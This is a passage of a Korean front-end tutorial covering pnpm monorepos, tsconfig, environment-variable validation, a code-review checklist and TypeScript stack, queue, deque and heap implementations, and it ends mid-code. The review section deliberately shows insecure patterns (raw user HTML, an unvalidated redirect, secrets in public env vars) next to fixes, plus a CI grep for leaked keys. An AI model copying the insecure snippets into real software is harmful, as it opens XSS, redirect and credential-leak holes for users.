매일 쓰는 명령
pnpm install # 루트에서 한 번 — 전부 연결
pnpm --filter @acme/web dev # 앱 하나만 실행
pnpm --filter @acme/web... build # web + 그것이 의존하는 패키지까지
pnpm -r --parallel lint # 전체 린트
pnpm add dayjs --filter @acme/web # 특정 패키지에 의존성 추가
pnpm why react # 왜 이 버전이 들어왔나
npm install 을 친 경우.
pnpm 워크스페이스에서는 루트에서 pnpm 만 씁니다. packageManager 필드와
corepack 으로 팀 전체의 pnpm 버전을 고정하세요.
./src/index.ts 를 내보내면 앱의 번들러가 함께 변환하므로 빌드가 필요 없습니다.
대신 Node 로 직접 실행하는 서버가 그 패키지를 쓰면 변환이 안 되므로, 그때는 tsc -b 로 빌드하는 쪽(아래 references)을 택합니다.
tsconfig — paths 는 타입 검사용, 번들러는 따로 🟡 중급
공용 설정을 상속
// packages/tsconfig/base.json
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "Bundler",
"strict": true,
"noUncheckedIndexedAccess": true,
"isolatedModules": true,
"verbatimModuleSyntax": true,
"skipLibCheck": true,
"jsx": "react-jsx"
}
}
// apps/web/tsconfig.json
{
"extends": "@acme/tsconfig/base.json",
"compilerOptions": {
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"types": ["vite/client"],
"paths": { "@/*": ["./src/*"] },
"noEmit": true
},
"include": ["src"]
}
paths 의 함정 · references
// paths 는 tsc 에게만 알려 줍니다 — 번들러도 같은 별칭을 알아야 실행됩니다
// vite.config.ts npm i -D vite-tsconfig-paths
import tsconfigPaths from "vite-tsconfig-paths";
export default defineConfig({ plugins: [react(), tsconfigPaths()] });
// ❌ 공유 패키지 안에서 "@/..." 별칭 쓰기
// packages/ui 의 "@/" 는 그것을 import 한 앱의 src 를 가리키게 됩니다
// → 공유 패키지 내부는 상대 경로만
// 빌드가 필요한 패키지 — composite + references (tsc -b 가 순서대로 증분 빌드)
// packages/schema/tsconfig.json
{
"extends": "@acme/tsconfig/base.json",
"compilerOptions": {
"composite": true, "rootDir": "src", "outDir": "dist",
"declaration": true
},
"include": ["src"]
}
// apps/api/tsconfig.json
{
"extends": "@acme/tsconfig/base.json",
"references": [{ "path": "../../packages/schema" }]
}
pnpm -r exec tsc --noEmit(또는 tsc -b)를 별도 단계로 두세요.
실무에선 이렇게 — 환경 변수를 타입 · 검증 · 런타임 설정으로 🔴 실무
타입을 붙이고, 빠지면 시작부터 실패
// src/vite-env.d.ts
/// <reference types="vite/client" />
interface ImportMetaEnv {
readonly VITE_API_URL: string;
readonly VITE_SENTRY_DSN?: string;
readonly VITE_RELEASE?: string;
}
interface ImportMeta { readonly env: ImportMetaEnv }
// src/env.ts — 앱 시작 시 한 번 검증 (오타 · 누락을 배포 직후가 아니라 부팅 때)
import { z } from "zod";
const Env = z.object({
VITE_API_URL: z.url(),
VITE_SENTRY_DSN: z.string().optional(),
MODE: z.string(),
});
export const env = Env.parse(import.meta.env);
// ❌ 실제로 일어나는 사고 — 서버 환경 변수 전체를 번들에 박음
export default defineConfig({
define: { "process.env": process.env }, // CI 의 비밀이 전부 dist 로
});
한 번 빌드해 여러 환경에 — 런타임 설정
// 빌드 시 치환은 '환경마다 다시 빌드'를 뜻합니다.
// 같은 산출물을 스테이징 → 운영으로 승격하려면 설정을 실행 시점에 읽습니다.
type RuntimeConfig = { apiUrl: string; sentryDsn?: string };
async function boot() {
// config.json 은 빌드 산출물이 아니라 배포 환경(Nginx · CDN)이 넣어 주는 파일
const res = await fetch("/config.json", { cache: "no-store" });
const config = (await res.json()) as RuntimeConfig;
initSentry(config.sentryDsn);
createRoot(document.getElementById("root")!).render(
<ConfigProvider value={config}><App /></ConfigProvider>,
);
}
void boot();
# CI 마지막 단계 — 산출물에 비밀이 섞였는지 문자열 검사
if grep -rEn "sk_live_|AKIA[0-9A-Z]{16}|-----BEGIN" dist/; then
echo "비밀로 보이는 문자열이 번들에 있습니다"; exit 1
fi
| 프레임워크 | 공개 접두사 · 읽는 법 |
|---|---|
| Vite | VITE_ · import.meta.env |
| Next.js | NEXT_PUBLIC_ · 빌드 때 인라인 |
| Astro | PUBLIC_ · import.meta.env |
| CRA (레거시) | REACT_APP_ |
코드 리뷰 체크리스트 — 이 탭 전체를 한 장으로
앞의 열두 섹션에서 다룬 함정은 대부분 리뷰에서 한 줄로 잡을 수 있는 모양을 하고 있습니다. 어떤 함정을 어느 단계(린트 · CI · 리뷰 · 운영)가 잡는지 정리하고, 나쁜 예 · 좋은 예를 나란히 둔 뒤 배포 직전 체크리스트로 마무리합니다.
나쁜 예 · 좋은 예 — 리뷰에서 한 줄로 잡히는 모양 🟡 중급
effect 안의 fetch — 취소도 순서도 없음 (PROD 04)
useEffect(() => {
fetch(`/api/search?q=${q}`)
.then((r) => r.json())
.then(setItems);
}, [q]);
키에 넣고 signal 을 넘김
const { data = [] } = useQuery({
queryKey: ["search", q],
queryFn: ({ signal }) => searchApi(q, signal),
enabled: q.length >= 2,
});
오래된 값을 잡은 타이머 · 화면에 찍히는 0
useEffect(() => {
const id = setInterval(() => setSec(sec + 1), 1000); // sec 가 0 에 고정
return () => clearInterval(id);
}, []);
{items.length && <List items={items} />} // 빈 배열이면 "0" 출력
함수형 업데이트 · 불리언으로 분기
useEffect(() => {
const id = setInterval(() => setSec((s) => s + 1), 1000);
return () => clearInterval(id);
}, []);
{items.length > 0 && <List items={items} />}
사용자 HTML · URL 을 그대로 (PROD 07)
<div dangerouslySetInnerHTML={{ __html: post.body }} />
<a href={profile.homepage}>홈페이지</a>
location.href = new URLSearchParams(location.search).get("next")!;
정화 · 허용 목록 · 같은 출처
<RichText html={post.body} /> {/* DOMPurify 내장 */}
<a href={safeUrl(profile.homepage)} rel="noopener noreferrer">홈페이지</a>
location.href = safeNext(new URLSearchParams(location.search).get("next"));
비밀 · 통째 import · 목록 key 에 인덱스
const stripe = Stripe(import.meta.env.VITE_STRIPE_SECRET_KEY); // 공개됨
import _ from "lodash"; // 70 KB
rows.map((r, i) => <Row key={i} row={r} />) // 삭제 시 입력값 꼬임
비밀은 서버 · 이름으로 import · 안정된 id
const stripe = await loadStripe(env.VITE_STRIPE_PUBLISHABLE_KEY); // 공개용 키
import { debounce } from "es-toolkit";
rows.map((r) => <Row key={r.id} row={r} />)
날짜 · 금액을 직접 조립 (PROD 11)
const due = new Date(order.dueDate); // "2026-03-08" → UTC 자정
const today = new Date().toISOString().slice(0, 10); // 한국 오전엔 어제
const label = price * 1.1 + "원"; // 13200.000000000002원
문자열 날짜 · 시간대 지정 · Intl
const due = order.dueDate; // 문자열 그대로 비교 · 표시
const today = ymd.format(new Date()); // sv-SE + Asia/Seoul
const label = krw.format(order.totalWithTax); // 세금 계산은 서버
실무에선 이렇게 — PR 리뷰 질문표와 배포 전 체크리스트 🔴 실무
PR 을 열면 묻는 열 가지
| 영역 | 질문 |
|---|---|
| 비동기 | 이 응답이 늦게 오면? 두 번 누르면? 화면을 떠나면? |
| 정리 | effect 에서 붙인 것(리스너 · 타이머 · 구독)을 떼는가? |
| 에러 | 실패 화면이 있는가? catch 로 삼킨 에러를 보고하는가? |
| 캐시 | 쓰기 후 어떤 쿼리 키를 무효화하는가? |
| 입력 | 서버도 같은 스키마로 검증하는가? 실패 시 입력값이 남는가? |
| 보안 | 사용자 문자열이 HTML · URL · 리다이렉트로 가는가? |
| 비밀 | 새 환경 변수에 공개 접두사가 붙었는가 — 공개해도 되는 값인가? |
| 무게 | 새 의존성의 압축 후 크기는? 첫 화면 청크에 들어가는가? |
| 접근성 | 키보드로 쓸 수 있나? 아이콘 버튼에 이름이 있나? |
| 시간 · 돈 | 날짜는 문자열인가 순간인가? 금액을 number 로 계산하는가? |
배포 직전 체크리스트
빌드 · 품질
□ 타입 검사 · 린트 · 단위 테스트 · E2E 통과
□ size-limit 통과 — 첫 화면 JS 가 예산 안
□ dist 비밀 문자열 검사 통과 · .map 은 배포물에 없음
관측
□ Sentry 릴리스 = 이번 커밋 SHA · 소스맵 업로드 확인
□ web-vitals 수집이 새 페이지에도 붙어 있음
□ 새 기능 경로에 area · flow 태그
사용자
□ 느린 네트워크(Fast 4G) + CPU 4배 감속으로 핵심 흐름 한 번
□ Tab 키만으로 핵심 흐름 한 번 · 확대 200%
□ 빈 목록 · 에러 · 로딩 상태를 각각 눈으로 확인
되돌리기
□ 직전 버전으로 롤백하는 방법을 알고 있음 (명령 · 담당자)
□ 배포 후 30분 — Sentry 새 이슈 · RUM p75 를 지켜볼 사람
Array 하나로
버티다가
큐에서 무너진다
자바에는 ArrayDeque, 파이썬에는 collections.deque 가 있습니다.
자바스크립트에는 표준 Deque · Queue · PriorityQueue 가 하나도 없습니다.
그래서 다들 Array 로 버티는데, 스택은 그걸로 충분하지만
큐로 shift() 를 쓰는 순간 10만 개에서 0.5초, 100만 개에서는 십 분대(추정)가 됩니다(이 PC 측정).
이 탭은 2026년 현업이 실제로 무엇을 쓰는지 — 원형 버퍼 덱과 이진 힙을 TypeScript 제네릭으로 직접 만들고,
검증된 npm 패키지를 고르는 기준, 그리고 이벤트 루프 · Promise · Streams · Worker 안에 숨어 있는 큐들까지 다룹니다.
다 읽으면 "이건 Array 로 충분" / "이건 덱을 써야 함" / "이건 채널이 필요함" 을 코드 리뷰에서 바로 짚을 수 있습니다.
한 장 지도 — JS 에서 무엇으로 쓰나
자바스크립트의 표준 라이브러리에는 Array · Map · Set · TypedArray 정도만 있습니다. 스택은 Array 로 끝나지만, 큐 · 덱 · 우선순위 큐 · 비동기 큐는 직접 만들거나 패키지를 고르는 것이 일입니다. 먼저 상황별 정답표부터 봅니다.
2026 권장 vs 쓰지 말 것 🟢 기초
| 용도 | 2026 권장 | 피할 것 | 이유 |
|---|---|---|---|
| 스택 | Array 의 push · pop · at(-1) |
unshift · shift 로 앞을 top 으로 | 끝에서 넣고 빼면 분할 상환 O(1). 앞쪽은 전체를 당겨 옮깁니다 |
| 큐 (작음) | Array 의 push · shift |
— | 수백 개 이하면 측정해도 차이가 거의 안 납니다 |
| 큐 (큼) | 원형 버퍼 Deque<T> 직접 구현 · denque · 인덱스 포인터 큐 |
Array.shift() | 큰 배열의 shift 는 매번 O(n) — SQ 03 에서 0.5초 vs 7ms 실측 |
| 덱 | 원형 버퍼 Deque<T> · denque |
unshift + pop | 양 끝 모두 O(1) 이 되는 건 원형 버퍼뿐 |
| 우선순위 큐 | 이진 힙 직접 구현 · @datastructures-js/priority-queue · tinyqueue |
넣을 때마다 sort() | sort 는 O(n log n), 힙은 O(log n) |
| 동시성 제한 작업 큐 | p-limit · p-queue · fastq · 직접 createLimit |
Promise.all(1만 개) | 한꺼번에 띄우면 DB 커넥션 · 소켓 · 메모리가 터집니다 |
| 비동기 채널 | 직접 Channel<T> · Node stream · Web Streams |
폴링(setInterval 로 배열 확인) | 기다림은 Promise 로 — CPU 를 쓰지 않고 잠듭니다 |
| 스레드 사이 | MessageChannel · postMessage · SAB + Atomics |
공유 객체를 락 없이 수정 | JS 객체는 스레드끼리 공유되지 않습니다 — 복사되거나 SAB 뿐 |
| 서버 사이 | BullMQ(Redis) · Kafka · SQS | 메모리 큐로 재시작을 버티기 | 프로세스가 죽으면 메모리 큐는 사라집니다 → NestJS s13 · 대규모 트래픽 k07 |
한눈 치트 — 이 탭에서 만드는 것들
// 스택 — 배열 그대로
const st: number[] = [];
st.push(1); st.push(2);
st.at(-1); // 2 (peek, ES2022)
st.pop(); // 2
// 큐 · 덱 — SQ 04 의 원형 버퍼
const q = new Deque<string>();
q.pushBack("a"); q.pushFront("z");
q.popFront(); // "z"
// 우선순위 큐 — SQ 05 의 이진 힙
const pq = new BinaryHeap<Job>((a, b) => a.pri - b.pri);
pq.push(job); pq.pop();
// 비동기 — SQ 07
const limit = createLimit(4); // 동시에 4개만
await Promise.all(urls.map((u) => limit(() => fetch(u))));
const ch = new Channel<Event>(100); // 100칸 넘으면 send 가 기다림
for await (const ev of ch) handle(ev);
왜 표준에 Deque 가 없나
자바스크립트 표준(ECMAScript)은 언어 자체만 정하고, 자료구조 라이브러리는 아주 작게 유지해 왔습니다.
Array 에 shift · unshift 가 이미 있어서 "큐도 되는 것처럼" 보였던 것도 한몫했습니다.
2026년 현재도 TC39 에 표준 Deque · PriorityQueue 는 들어와 있지 않습니다.
그래서 생태계는 이렇게 갈렸습니다.
- 작은 큐 — 그냥 Array. 수백 개면 차이가 없습니다.
- 라이브러리 내부 — 직접 만든 원형 버퍼나 연결 리스트.
Node 의
process.nextTick큐도 내부(lib/internal/fixed_queue.js)에서 고정 크기 원형 버퍼를 이어 붙인 구조를 씁니다(공개 API 는 아님). - 앱 코드 — 검증된 패키지(
denque,p-limit등) 또는 이 탭 같은 100줄짜리 직접 구현.
Stack 이 ArrayDeque 로 대체된 것처럼,
JS 에서는 "Array.shift 큐"가 원형 버퍼 덱으로 대체되는 중입니다. 차이는 자바는 표준이 답을 줬고,
JS 는 개발자가 직접 골라야 한다는 점입니다. 이 탭의 Deque<T> · BinaryHeap<T> 는
tsc --strict 를 통과하고 Node 24 의 타입 지우기 실행(node file.ts)으로 그대로 돕니다.
스택 — Array 의 끝이 top 입니다
JS 의 스택은 새 타입이 아니라 사용 규칙입니다. 끝(length - 1)을 top 으로 정하고
push · pop · at(-1) 만 쓰면 됩니다. 앞쪽을 top 으로 쓰는 순간 느려집니다.
기본 — 배열 그대로 (실행 결과 포함)
// stack-basic.mjs — node stack-basic.mjs
const st = [];
st.push("a", "b"); // 여러 개도 한 번에
st.push("c");
console.log(st.at(-1), st.pop(), st.length); // c c 2
// peek(ES2022) pop
console.log([].pop(), [].at(-1)); // undefined undefined
// ★ 빈 스택에서 예외가 안 납니다 — 자바의 EmptyStackException 같은 것 없음
// undefined 를 "값"으로 넣는 스택이면 pop() 결과가 모호합니다
const maybe = [undefined];
console.log(maybe.length > 0 ? "값이 있음" : "비었음", maybe.pop());
// 값이 있음 undefined → 꺼내기 전에 length 로 확인하세요
at(-1) 이 ES2022 부터의 peek 입니다. 예전 코드의 st[st.length - 1] 와 같은 뜻이고,
TypeScript 에서는 반환 타입이 T | undefined 라 빈 경우를 처리하라고 컴파일러가 알려 줍니다
(st[st.length-1] 은 기본 설정에서 T 로 잡혀 이 검사를 놓칩니다 —
noUncheckedIndexedAccess 를 켜면 둘 다 T | undefined).
타입 래퍼 — 빈 스택 정책을 API 로
// stack.ts
export class Stack<T> implements Iterable<T> {
#a: T[] = []; // # = 진짜 private (밖에서 배열을 못 건드림)
get size() { return this.#a.length; }
push(x: T): this { this.#a.push(x); return this; }
/** 비었으면 던진다 — "비어 있을 리 없다"는 불변식이 있을 때 */
pop(): T {
if (this.#a.length === 0) throw new RangeError("pop from empty stack");
return this.#a.pop()!;
}
/** 비었을 수 있으면 — 결과 객체로 (undefined 를 값으로 넣어도 안전) */
tryPop(): { ok: true; value: T } | { ok: false } {
return this.#a.length ? { ok: true, value: this.#a.pop()! } : { ok: false };
}
peek(): T | undefined { return this.#a.at(-1); }
/** 순회는 top → bottom (꺼낼 순서와 같게) */
*[Symbol.iterator]() {
for (let i = this.#a.length - 1; i >= 0; i--) yield this.#a[i];
}
}
const s = new Stack<number>().push(1).push(2).push(3);
console.log([...s]); // [ 3, 2, 1 ]
console.log(s.tryPop()); // { ok: true, value: 3 }
console.log(new Stack().tryPop()); // { ok: false }
try { new Stack().pop(); } catch (e) { console.log((e as Error).name); } // RangeError
연산표 — 무엇이 O(1) 이고 무엇이 아닌가 🟢 기초
| 스택 연산 | Array 메서드 | 시간 | 빈 배열일 때 |
|---|---|---|---|
| push | arr.push(x) | 분할 상환 O(1) | — (새 길이를 반환) |
| pop | arr.pop() | O(1) | undefined · 예외 없음 |
| peek | arr.at(-1) | O(1) | undefined |
| isEmpty | arr.length === 0 | O(1) | true |
| 비우기 | arr = [] 또는 arr.length = 0 | 둘 다 빠름 | 둘은 뜻이 다릅니다 — SQ 10 |
| ❌ 앞쪽 top | unshift · shift | O(n) | 쓰지 마세요 |
| 여러 개 넣기 | arr.push(...items) | O(k) | items 가 약 12만 개 넘으면 RangeError (이 PC 실측) |
자바 Stack 같은 "레거시"가 JS 에도 있나
JS 에는 버려진 Stack 클래스는 없지만, 버려진 관용구는 있습니다.
arr[arr.length - 1]→arr.at(-1)(ES2022, 의도가 바로 보임)arr.unshift(x)/arr.shift()로 앞을 top 으로 → 끝을 top 으로Array.prototype.push.apply(a, b)→a.push(...b)(단, 아주 크면 아래){ 0: x, 1: y, length: 2 }같은 유사 배열 스택 → 진짜 Array (엔진 최적화가 안 붙음)
push(...big) 는 인자를 스택에 펼칩니다. 이 PC(Node 24)에서 12만 개는 됐고
13만 개부터 RangeError: Maximum call stack size exceeded 가 났습니다.
크기를 모르는 배열은 for...of 로 하나씩 넣거나 a = a.concat(b) 를 쓰세요.
재귀를 스택으로 — 깊은 트리에서 터지지 않게
type Node = { name: string; children: Node[] };
// 재귀: 깊이 1만 단계짜리 트리면 콜스택이 넘칩니다
function namesRec(n: Node, out: string[] = []): string[] {
out.push(n.name);
for (const c of n.children) namesRec(c, out);
return out;
}
// 명시적 스택: 깊이와 무관 — 힙 메모리만 씁니다
function names(root: Node): string[] {
const out: string[] = [];
const st: Node[] = [root];
while (st.length) {
const n = st.pop()!;
out.push(n.name);
// 자식을 거꾸로 넣어야 원래 순서(왼쪽 먼저)로 나옵니다
for (let i = n.children.length - 1; i >= 0; i--) st.push(n.children[i]);
}
return out;
}
push · pop · at(-1) 세 메서드의 약속입니다.
빈 스택은 예외 대신 undefined 를 주므로, 그게 싫으면 얇은 Stack<T> 래퍼로 정책을 정하세요.큐(FIFO) — shift() 의 함정과 세 가지 대안
queue.push(x) 로 넣고 queue.shift() 로 빼는 코드는 어디에나 있습니다.
작을 때는 아무 문제가 없다가 요소가 수만 개를 넘는 순간 갑자기 느려집니다. 이 PC 에서 직접 재 봤습니다.
왜 이런 절벽이 생기나
shift() 는 명세상 0번을 꺼내고 나머지를 한 칸씩 앞으로 당기는 연산입니다 — 그 자체로 O(n).
그런데 1만 개에서는 빨랐습니다. V8 이 배열의 시작 위치를 한 칸 뒤로 옮기는(left-trim) 꼼수로
복사를 피할 수 있는 경우가 있기 때문입니다.
이 꼼수가 언제 통하는지는 엔진 내부 사정(배열이 놓인 힙 영역, 크기 등)에 달려 있어 코드에서 보장받을 수 없습니다. 이 PC 에서는 1만 개 근처까지 빠르고, 1.6만 개에서 이미 8배로 뛰었습니다.
| N (shift 로 전부) | 이 PC 측정 |
|---|---|
| 10,000 | 1.6 ~ 4 ms |
| 16,000 | 13 ms |
| 50,000 | 125 ms |
| 100,000 | 556 ~ 842 ms |
| 200,000 | 3.2 s |
| 1,000,000 | 처음 1만 번에 17.2 s · 10만 번에 158 s |
직접 재 보기 — bench-shift.mjs
// node bench-shift.mjs (Deque 는 SQ 04 의 클래스)
function viaShift(n) { // ① 흔한 실수
const q = [];
for (let i = 0; i < n; i++) q.push(i);
let sum = 0;
while (q.length) sum += q.shift();
return sum;
}
function viaPointer(n) { // ② 인덱스 포인터
const q = []; let head = 0;
for (let i = 0; i < n; i++) q.push(i);
let sum = 0;
while (head < q.length) sum += q[head++];
return sum;
}
function viaDeque(n) { // ③ 원형 버퍼
const q = new Deque();
for (let i = 0; i < n; i++) q.pushBack(i);
let sum = 0;
while (q.size) sum += q.popFront();
return sum;
}
for (const n of [10_000, 100_000]) {
for (const fn of [viaShift, viaPointer, viaDeque]) {
fn(1000); // 워밍업
const t = performance.now();
fn(n);
console.log(n, fn.name, (performance.now() - t).toFixed(1) + "ms");
}
}
// 이 PC 예시:
// 10000 viaShift 2.0ms viaPointer 0.3ms viaDeque 1.7ms
// 100000 viaShift 555.7ms viaPointer 2.3ms viaDeque 7.0ms
대안 ① ② — 인덱스 포인터 큐 · 두 스택 큐 🟡 중급
인덱스 포인터 + 주기적 정리
export class ArrayQueue<T> {
#a: (T | undefined)[] = [];
#head = 0; // 다음에 꺼낼 칸
get size() { return this.#a.length - this.#head; }
enqueue(x: T) { this.#a.push(x); }
dequeue(): T | undefined {
if (this.#head === this.#a.length) return undefined;
const x = this.#a[this.#head];
this.#a[this.#head++] = undefined; // 참조 끊기 — 안 하면 GC 가 못 가져감
// 앞쪽 빈칸이 절반을 넘으면 한 번 잘라 냄 → 분할 상환 O(1)
if (this.#head > 1024 && this.#head * 2 > this.#a.length) {
this.#a = this.#a.slice(this.#head);
this.#head = 0;
}
return x;
}
peek() { return this.#a[this.#head]; }
}
const q = new ArrayQueue<number>();
for (let i = 0; i < 5000; i++) q.enqueue(i);
let last;
for (let i = 0; i < 4000; i++) last = q.dequeue();
console.log(last, q.size, q.peek()); // 3999 1000 4000
두 스택 큐 — in 에 쌓고 out 에서 꺼냄
export class TwoStackQueue<T> {
#in: T[] = [];
#out: T[] = [];
enqueue(x: T) { this.#in.push(x); }
dequeue(): T | undefined {
if (this.#out.length === 0) {
// out 이 비었을 때만 한 번에 뒤집어 옮김
while (this.#in.length) this.#out.push(this.#in.pop()!);
}
return this.#out.pop();
}
get size() { return this.#in.length + this.#out.length; }
}
const tq = new TwoStackQueue<number>();
tq.enqueue(1); tq.enqueue(2); tq.enqueue(3);
const a = tq.dequeue(); // 1 (이때 3,2 가 out 으로)
tq.enqueue(4); // in 에 들어감
console.log(a, tq.dequeue(), tq.dequeue(), tq.dequeue(), tq.dequeue());
// 1 2 3 4 undefined
"실패하면 예외" vs "특수값 반환" — JS 의 관례 🟢 기초
| 동작 | Java Queue | JS Array · 이 탭의 클래스 | 권장 |
|---|---|---|---|
| 넣기 | add(예외) / offer(false) | push · pushBack — 실패 없음 | 유한 큐면 tryPush(): boolean 을 따로 |
| 꺼내기 | remove(예외) / poll(null) | shift · popFront → undefined | JS 관례는 특수값(undefined) |
| 보기 | element(예외) / peek(null) | [0] · peekFront → undefined | TS 반환 타입을 T | undefined 로 |
| 기다리기 | BlockingQueue.take | 없음 → await channel.receive() | SQ 07 의 Channel |
shift() 를 쓰면 작을 땐 빠르고 클 땐 O(n) 입니다. 크기가 커질 수 있는 큐는
인덱스 포인터 · 두 스택 · 원형 버퍼 덱 중 하나로 — 범용으로는 다음 절의 덱이 정답입니다.덱 — 원형 버퍼를 TypeScript 제네릭으로
자바 ArrayDeque, 파이썬 deque(블록 연결), denque 가 공통으로 기대는 생각은
배열을 고리처럼 쓰는 것입니다. 요소를 옮기지 않고 head 번호만 움직이니 앞 · 뒤 모두 O(1) 입니다.
100줄이면 만들 수 있고, 한 번 만들어 두면 이 탭의 큐 · 채널 · BFS 전부에 씁니다.
& mask, 늘어남은 드문 O(n) 복사.deque.ts — 완전한 구현 (tsc --strict 통과)
// deque.ts — 원형 버퍼 덱
export class Deque<T> implements Iterable<T> {
#buf: (T | undefined)[]; // 길이는 항상 2의 거듭제곱
#head = 0; // 맨 앞 요소의 칸 번호
#size = 0; // 들어 있는 개수
#mask: number; // cap - 1 → (i & mask) === i % cap
constructor(capacity = 16) {
let cap = 16;
while (cap < capacity) cap <<= 1; // 2의 거듭제곱으로 올림
this.#buf = new Array<T | undefined>(cap);
this.#mask = cap - 1;
}
get size(): number { return this.#size; }
get capacity(): number { return this.#buf.length; }
isEmpty(): boolean { return this.#size === 0; }
pushBack(x: T): void {
if (this.#size === this.#buf.length) this.#grow();
this.#buf[(this.#head + this.#size) & this.#mask] = x;
this.#size++;
}
pushFront(x: T): void {
if (this.#size === this.#buf.length) this.#grow();
this.#head = (this.#head - 1) & this.#mask; // -1 & 15 === 15 : 뒤로 감김
this.#buf[this.#head] = x;
this.#size++;
}
popFront(): T | undefined {
if (this.#size === 0) return undefined;
const x = this.#buf[this.#head];
this.#buf[this.#head] = undefined; // ★ 참조를 끊어야 GC 가 회수
this.#head = (this.#head + 1) & this.#mask;
this.#size--;
return x;
}
popBack(): T | undefined {
if (this.#size === 0) return undefined;
const i = (this.#head + this.#size - 1) & this.#mask;
const x = this.#buf[i];
this.#buf[i] = undefined;
this.#size--;
return x;
}
peekFront(): T | undefined { return this.#size ? this.#buf[this.#head] : undefined; }
peekBack(): T | undefined {
return this.#size ? this.#buf[(this.#head + this.#size - 1) & this.#mask] : undefined;
}
at(i: number): T | undefined { // 음수 인덱스도 Array.at 처럼
if (i < 0) i += this.#size;
if (i < 0 || i >= this.#size) return undefined;
return this.#buf[(this.#head + i) & this.#mask];
}
clear(): void {
this.#buf = new Array<T | undefined>(16);
this.#mask = 15; this.#head = 0; this.#size = 0;
}
*[Symbol.iterator](): Iterator<T> { // 앞 → 뒤
for (let i = 0; i < this.#size; i++) yield this.#buf[(this.#head + i) & this.#mask] as T;
}
toArray(): T[] { return [...this]; }
#grow(): void {
// 감긴 상태 [E F G H | A B C D] (head=4) → 새 배열에 [A B C D E F G H] 로 펴서 옮긴다
const old = this.#buf, n = old.length;
const next = new Array<T | undefined>(n << 1);
for (let i = 0; i < n; i++) next[i] = old[(this.#head + i) & this.#mask];
this.#buf = next;
this.#head = 0;
this.#mask = (n << 1) - 1;
}
}
써 보기 — 감김과 grow 를 눈으로
// deque-demo.ts — node deque-demo.ts (Node 24 는 타입을 지우고 바로 실행)
import { Deque } from "./deque.ts";
const d = new Deque<string>(4); // 최소 16 칸
for (const c of "ABCD") d.pushBack(c);
d.pushFront("Z"); // head 가 0 → 15 로 감김
console.log(d.toArray().join(""), d.capacity); // ZABCD 16
console.log(d.popFront(), d.popBack(), d.peekFront(), d.peekBack(), d.at(-1), d.size);
// Z D A C C 3
const w = new Deque<number>();
for (let i = 0; i < 12; i++) w.pushBack(i);
for (let i = 0; i < 10; i++) w.popFront(); // head=10, 남은 [10, 11]
for (let i = 12; i < 26; i++) w.pushBack(i); // 16칸 꽉 참 (감긴 상태)
w.pushBack(26); // ← 여기서 grow
console.log(w.capacity, w.peekFront(), w.peekBack(), w.size); // 32 10 26 17
console.log([...w].slice(0, 5)); // [ 10, 11, 12, 13, 14 ]
console.log(new Deque().popFront()); // undefined (예외 아님)
(head - 1) % cap 은 head 가 0 이면 -1 이 나옵니다(JS 의 % 는 부호를 따라감).
(head - 1) & mask 는 2의 보수 덕분에 바로 cap - 1 이 됩니다.
분기 하나 · 나눗셈 하나가 사라지는 것이 덤입니다.
this.#buf[i] = undefined 를 빠뜨리지 마세요. 꺼낸 칸에 객체 참조가 남아 있으면
덱이 비어 보여도 그 객체들은 GC 되지 않습니다(메모리 누수). 자바 ArrayDeque 소스도 꺼낸 칸을 null 로 지웁니다.
연산별 시간
| 연산 | 시간 | 비고 |
|---|---|---|
| pushBack · pushFront | 분할 상환 O(1) | grow 하는 그 한 번만 O(n) |
| popFront · popBack | O(1) | 줄어들지는 않음(축소 없음) |
| peek · at(i) | O(1) | 임의 접근 가능 — 연결 리스트와 다른 점 |
| 중간 삽입 · 삭제 | O(n) | 제공하지 않음 — 필요하면 다른 구조 |
| 순회 | O(n) | 앞 → 뒤, 연속 메모리라 캐시에 유리 |
직접 vs 패키지 — 무엇을 고르나 🟡 중급
검증된 npm 패키지 (이름과 성격)
| 패키지 | 무엇 |
|---|---|
denque | 원형 버퍼 덱. push · pop · shift · unshift 가 Array 와 같은 이름이라 shift 큐를 바꿔 끼우기 쉬움. ioredis 등 유명 라이브러리가 의존 |
yocto-queue | 아주 작은 연결 리스트 큐(enqueue · dequeue). p-limit 이 내부에서 씀 |
mnemonist | 자료구조 모음 — FixedDeque · CircularBuffer · Heap · LinkedList 등 |
@datastructures-js/* | deque · queue · priority-queue 를 패키지별로. TS 타입 포함 |
// npm i denque (이 탭에서는 설치하지 않았습니다 — README 로 확인한 기본 API)
import Denque from "denque";
const q = new Denque<number>([1, 2]);
q.push(3); // 뒤에 넣기
q.unshift(0); // 앞에 넣기
q.shift(); // 0 ← 이름은 shift 지만 O(1)
q.pop(); // 3
q.peekFront(); // 1
q.length; // 1
고르는 기준
- 라이브러리 · SDK 를 만든다 → 의존성을 늘리지 않게 직접 구현(100줄) 또는 인덱스 포인터 큐.
- 앱 코드에서 shift 큐를 고친다 →
denque로 이름 그대로 교체가 가장 싸고 안전합니다. - 덱 · 힙 · LRU 를 여럿 쓴다 →
mnemonist하나로. - 브라우저 번들 크기가 민감 → 직접 구현(트리 셰이킹 걱정 없음).
파이썬 deque · 자바 ArrayDeque 와 비교
| 구현 | 내부 구조 |
|---|---|
이 탭 Deque<T> · denque | 배열 하나를 고리로, 꽉 차면 2배 |
Java ArrayDeque | 같은 원형 배열(용량 확장 방식은 버전마다 다름) |
Python deque | 고정 크기 블록의 이중 연결 리스트 |
C++ std::deque | 청크 배열 + 청크 포인터 맵 |
undefined 로 지우는 것,
용량을 2의 거듭제곱으로 두는 것 두 가지만 지키면 앞 · 뒤 모두 O(1) 입니다.우선순위 큐 — 이진 힙을 comparator 로
"가장 급한 것부터", "가장 가까운 것부터" 꺼내야 할 때마다 arr.sort() 를 다시 부르는 코드를 자주 봅니다.
매번 O(n log n) 입니다. 이진 힙은 넣기 · 빼기 모두 O(log n) 이고, 배열 하나로 됩니다.
heap.ts — comparator 주입형 (tsc --strict 통과)
// heap.ts
export type Comparator<T> = (a: T, b: T) => number; // 음수면 a 가 먼저 나온다
export class BinaryHeap<T> {
#a: T[] = [];
readonly #cmp: Comparator<T>;
constructor(cmp: Comparator<T>, items: Iterable<T> = []) {
this.#cmp = cmp;
for (const x of items) this.#a.push(x);
for (let i = (this.#a.length >> 1) - 1; i >= 0; i--) this.#down(i); // O(n) heapify
}
get size(): number { return this.#a.length; }
peek(): T | undefined { return this.#a[0]; }
push(x: T): void {
this.#a.push(x);
this.#up(this.#a.length - 1);
}
pop(): T | undefined {
const a = this.#a;
if (a.length === 0) return undefined;
const top = a[0];
const last = a.pop()!;
if (a.length > 0) { a[0] = last; this.#down(0); }
return top;
}
#up(i: number): void {
